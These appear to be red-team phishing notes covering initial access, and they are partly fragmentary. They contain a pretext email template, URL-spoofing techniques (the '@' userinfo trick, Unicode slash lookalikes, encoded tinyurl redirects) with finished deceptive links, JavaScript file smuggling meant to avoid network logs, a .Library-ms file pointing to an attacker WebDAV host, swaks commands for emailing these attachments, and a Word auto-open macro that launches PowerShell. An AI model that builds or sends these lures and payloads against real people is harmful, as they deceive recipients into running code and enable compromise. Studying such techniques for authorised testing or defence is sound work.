Spoofing a site
Zendesk
Bypassing Spam Filters
Call to Actions
Due to operational changes within {company}, we are updating our language to the {document} for {year}. In compliance with regulations on amended documents, we require your acknowledgement of receipt of these changes. To complete your acknowledgement, please navigate to the last page of the attached PDF and click the link provided in the amended article.
Thank you for your continued support in upholding this year’s mission.
Sincerely,
## Spoofing any site in a link
- Often, this isn't actually necessary, as we can just make a pretty email that has a button to click.
**Techniques**
- Uses `@` character to tell the browser that everything before the `@` is simply authentication for the following page (an encoded tinyurl site) - I didn't find an arbitrary redirect on github
- You can't use the `@` technique after a domain AND path have been specified, so specify fake paths using a `/` Unicode lookalike: `∕` (effectively making the TLD in the domain very very long)
- This lookalike character is a unicode division slash without any numbers (think ⅓)
- You can actually URL encode every single character in a link except for the `/`, so the entire tinyurl link is encoded
- `&` can actually be included without encoding in the authentication information (prior to the `@`), so I included bogus URL parameters from an amazon product link to make it look more realistic (hiding the URL encoded link within)
- For google meets, a link starting with a valid URL (e.g. https://github.com) will be underlined, so I included some hidden unicode characters to break the link
**Example**
- `https://` - start of URL
- `U+E0001 U+E0020 U+E007F` - hidden Unicode characters to break link underlining functionality in Google meets
- Used https://embracethered.com/blog/ascii-smuggler.html to encode ` `
- `github.com` - normal github domain
- `∕praetorian-inc∕Cerebrum∕tree∕main∕Personal%20Spaces∕khael.kugler` - realistic path using fake `∕` character
- `&diff=%75%6E%69%66%69%65%64&uuid=259d9f6c-ea4f-492b-a741-8ca016e53a70&ref=main_1598392` - fake URL parameters used to hide the actual payload
- `@%74%69%6E%79%75%72%6C%2E%63%6F%6D/%33%39%74%7A%72%6A%79%6A` - payload decoding to `tinyurl.com/39tzrjyj`, starting with `@`
- `#&whitespace=ignore&inline=false&workflow=ci-deploy-container-ghcr-ref-main` - more fake parameters, starting with a `#` to not confuse tinyurl's redirection
- When emailing, choose a font that looks good. Menlo is alright, but a bit too code-related
Final payload: `https://github.com∕praetorian-inc∕Cerebrum∕tree∕main∕Personal%20Spaces∕khael.kugler&diff=%75%6E%69%66%69%65%64&uuid=259d9f6c-ea4f-492b-a741-8ca016e53a70&ref=main_1598392@%74%69%6E%79%75%72%6C%2E%63%6F%6D/%33%39%74%7A%72%6A%79%6A#&whitespace=ignore&inline=false&workflow=ci-deploy-container-ghcr-ref-main`
Other example payloads:
`https://github.com∕praetorian-inc∕noseyparker∕releases∕download∕v0.23.0∕secret-noseyparker-v0.23.0-aarch64-apple-darwin.tar.gz&conplccinc=259d9f6c-ea4f-492b-a741-8ca016e53a70ts=abthh8sjiwjcbgqcpkynoq55p8khgag&dasin=B07774L6@%74%69%6E%79%75%72%6C%2E%63%6F%6D/%79%63%38%78%61%66%74%32/&96298722-d186-4e28-b5e9-2ca14f49d977=1`
`https://www.amazon.com∕gp∕product∕B008A0GNA8pr=conplccinc=259d9f6c-ea4f-492b-a741-8ca016e53a70ts=abthh8sjiwjcbgqcpkynoq55p8khgag&dasin=B07774L6TT&plattr=mathplace=priceblockimp@%74%69%6E%79%75%72%6C%2E%63%6F%6D/%79%63%38%78%61%66%74%32?=96298722-d186-4e28-b5e9-2ca14f49d977`
- Can also sort of be used to bypass URL validation
- Portswigger URL bypass techniques: https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
## File Downloading Techniques
**File Smuggling - thanks to Print3M**
- Rather than getting a user to download a file from a server, simply store the entire file in JavaScript
- This has two bonuses: the file doesn't need to be fetched from a server, and it also doesn't generate any network logs
- Example:
```js
// File: smuggler.js
function __downloadFile(byteArray, fileName, mimeType) {
let blob = new Blob([new Uint8Array(byteArray)], { type: mimeType })
let url = URL.createObjectURL(blob)
let a = document.createElement("a")
a.href = url
a.download = fileName
document.body.appendChild(a)
a.click()
document.body.removeChild(a)
URL.revokeObjectURL(url)
}
// This function is executed from React on "click" event
function downloadFile() {
// PUT YOUR BINARY DATA HERE!!!
const data = [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
__downloadFile(data, "file.txt", "text/plain")
}
Sandbox Detection - thanks to Print3M
Abuse Example
Recon
IT Helpdesk Techniques
.Library-ms file into executing .lnk filepip3 install wsgidav for a WebDAV server to host/serve fileswsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root {directory}<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://{kali_IP}</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
sudo swaks -t {to_email} -t {to_email} --from {from_email} --attach @config.Library-ms --server {mail_server} --body @body.txt --header "Subject: Staging Script" --suppress-data -apswaks:
swaks --server {IP_with_SMTP} --body @{body_txt_file} -ap --from {user@domain} --to {target@domain} --auth-user {user@domain} --auth-password {password} --attach @{file_to_attach} --header "{header_text}"Docx Word Macro
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub